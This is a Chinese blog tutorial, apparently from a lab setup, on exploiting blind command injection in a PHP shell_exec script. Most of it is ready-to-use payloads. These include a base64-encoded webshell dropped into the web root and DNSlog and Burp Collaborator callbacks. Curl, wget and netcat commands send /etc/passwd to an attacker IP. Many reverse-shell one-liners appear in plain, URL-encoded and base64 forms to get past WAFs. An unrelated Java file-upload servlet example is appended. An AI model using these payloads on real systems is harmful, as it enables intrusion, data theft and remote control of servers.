超全的命令(代码)执行漏洞无回显的姿势总结(附带详细代码和测试分析过程)

目录

漏洞代码

突破方式

重定向

dnslog外部通信

burpsuite burpcollaborator外部通信

日志监听

netcat监听

反弹shell的各种姿势


漏洞代码

<?php
@shell_exec($_GET['a']);
?>

这里使用了无回显的shell执行函数shell_exec,给html目录的权限是777

突破方式

重定向

将需要获取的内容重定向到新文件里面

eval.php?a=cat%20/etc/passwd%20>info.txt

然后访问info.txt

或者重定向一个新的webshell到该目录下

echo "PD9waHAgcGhwaW5mbygpO2V2YWwoJF9QT1NUWydjbWQnXSk/Pg=="|base64 -d >shell.php
//<?php phpinfo();eval($_POST['cmd'])?>

访问新的webshell即可

dnslog外部通信

eval.php?a=ping `whami`.tfkfae.dnslog.cn

burpsuite burpcollaborator外部通信

原理同dnslog,貌似比dnslog更加灵敏

?a=ping%20`whoami`.9lvy3js5qy3eg6b4cmtyzypl2c82wr.burpcollaborator.net

日志监听

用 curl 协议访问远程服务器 ip 的 80 端口,再到 kali 的终端查看记录即可

用一台kali监听日志

python3 -m http.server 80

执行命令

/eval.php?a=curl%20192.168.10.133/?`whoami`
/eval.php?a=wget%20192.168.10.133/?`whoami`

查看日志

/eval.php?a=curl%20192.168.10.133/?`cat%20/etc/passwd`

netcat监听

nc -lvp 8888
nc -lp 8888>./content
?a=nc%20192.168.10.133%208888%20<%20/etc/passwd

查看content.txt内容

反弹shell的各种姿势

  • bash反弹
nc -vlnp 8080
bash -i >& /dev/tcp/192.168.10.128/8080 0>&1

这里在www网页里面反弹失败,我们在服务器终端可以反弹

  • 使用指定的bash shell反弹
/bin/bash -c 'bash -i >& /dev/tcp/192.168.10.128/8080 0>&1'

 这里需要进行URL编码

%2f%62%69%6e%2f%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%30%2e%31%32%38%2f%38%30%38%30%20%30%3e%26%31%27

此时成功在web网页反弹shell

  • curl反弹shell

攻击者启动http服务,并在站点目录下存放一个文件,里面写着bash反弹shell命令

?a=curl%20http://192.168.10.128/bashshell|bash

成功反弹到shell

  • 临时文件反弹shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.10.128 8080 >/tmp/f

URL编码

%72%6d%20%2f%74%6d%70%2f%66%3b%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%66%3b%63%61%74%20%2f%74%6d%70%2f%66%7c%2f%62%69%6e%2f%73%68%20%2d%69%20%32%3e%26%31%7c%6e%63%20%31%39%32%2e%31%36%38%2e%31%30%2e%31%32%38%20%38%30%38%30%20%3e%2f%74%6d%70%2f%66

这里同样只在终端反弹成功,在web端口反弹失败

  • base64编码
L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTAuMTI4LzgwODAgMD4mMSc=
/bin/bash -c 'bash -i >& /dev/tcp/192.168.10.128/8080 0>&1'
echo "L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTAuMTI4LzgwODAgMD4mMSc=" |base64 -d |bash

URL编码

%65%63%68%6f%20%22%4c%32%4a%70%62%69%39%69%59%58%4e%6f%49%43%31%6a%49%43%64%69%59%58%4e%6f%49%43%31%70%49%44%34%6d%49%43%39%6b%5a%58%59%76%64%47%4e%77%4c%7a%45%35%4d%69%34%78%4e%6a%67%75%4d%54%41%75%4d%54%49%34%4c%7a%67%77%4f%44%41%67%4d%44%34%6d%4d%53%63%3d%22%20%7c%62%61%73%65%36%34%20%2d%64%20%7c%62%61%73%68

这里也成功在web端口反弹到shell,可以绕过部分waf

  • 2
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
以下是一个简单的JavaWeb图片上传回显的JSP和Servlet的完整代码: 1. JSP 文件代码: ``` <!DOCTYPE html> <html> <head> <title>Image Upload and Display</title> </head> <body> <h1>Image Upload and Display</h1> <form action="ImageUploadServlet" method="post" enctype="multipart/form-data"> <input type="file" name="file" /><br/><br/> <input type="submit" value="Upload" /> </form> <br/><br/> <% if(request.getAttribute("imagePath") != null) { %> <img src="<%= request.getContextPath() %>/<%= request.getAttribute("imagePath") %>" /> <% } %> </body> </html> ``` 2. Servlet 文件代码: ``` import java.io.File; import java.io.IOException; import java.util.UUID; import javax.servlet.ServletException; import javax.servlet.annotation.MultipartConfig; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.servlet.http.Part; @WebServlet("/ImageUploadServlet") @MultipartConfig(fileSizeThreshold=1024*1024*2, maxFileSize=1024*1024*10, maxRequestSize=1024*1024*50) public class ImageUploadServlet extends HttpServlet { private static final long serialVersionUID = 1L; protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String imagePath = null; String appPath = request.getServletContext().getRealPath(""); String savePath = appPath + File.separator + "uploads"; File fileSaveDir = new File(savePath); if (!fileSaveDir.exists()) { fileSaveDir.mkdir(); } for (Part part : request.getParts()) { String fileName = extractFileName(part); if (fileName != null && !fileName.equals("")) { String extension = fileName.substring(fileName.lastIndexOf(".")); String uuid = UUID.randomUUID().toString(); imagePath = "uploads" + File.separator + uuid + extension; part.write(savePath + File.separator + uuid + extension); } } request.setAttribute("imagePath", imagePath); request.getRequestDispatcher("index.jsp").forward(request, response); } private String extractFileName(Part part) { String contentDisp = part.getHeader("content-disposition"); String[] items = contentDisp.split(";"); for (String s : items) { if (s.trim().startsWith("filename")) { return s.substring(s.indexOf("=") + 2, s.length()-1); } } return null; } } ``` 在这个例子中,我们使用了Servlet 3.0的@MultipartConfig注解来处理文件上传。这个注解告诉容器这个Servlet将会接收multipart/form-data类型的请求,并且指定了上传文件的大小限制。在doPost()方法中,我们首先获取应用程序的根目录,并且创建一个名为“uploads”的文件夹来保存上传的文件。然后,我们遍历所有的文件部件,提取文件名,并且生成一个唯一的UUID和文件扩展名的组合作为文件名。最后,我们将文件保存到uploads文件夹中,并且将图片路径作为请求属性存储,并且转发到JSP页面以显示上传的图片。 请注意,这里的示例代码仅供参考,您需要根据自己的需求进行修改和调整。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

coleak

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值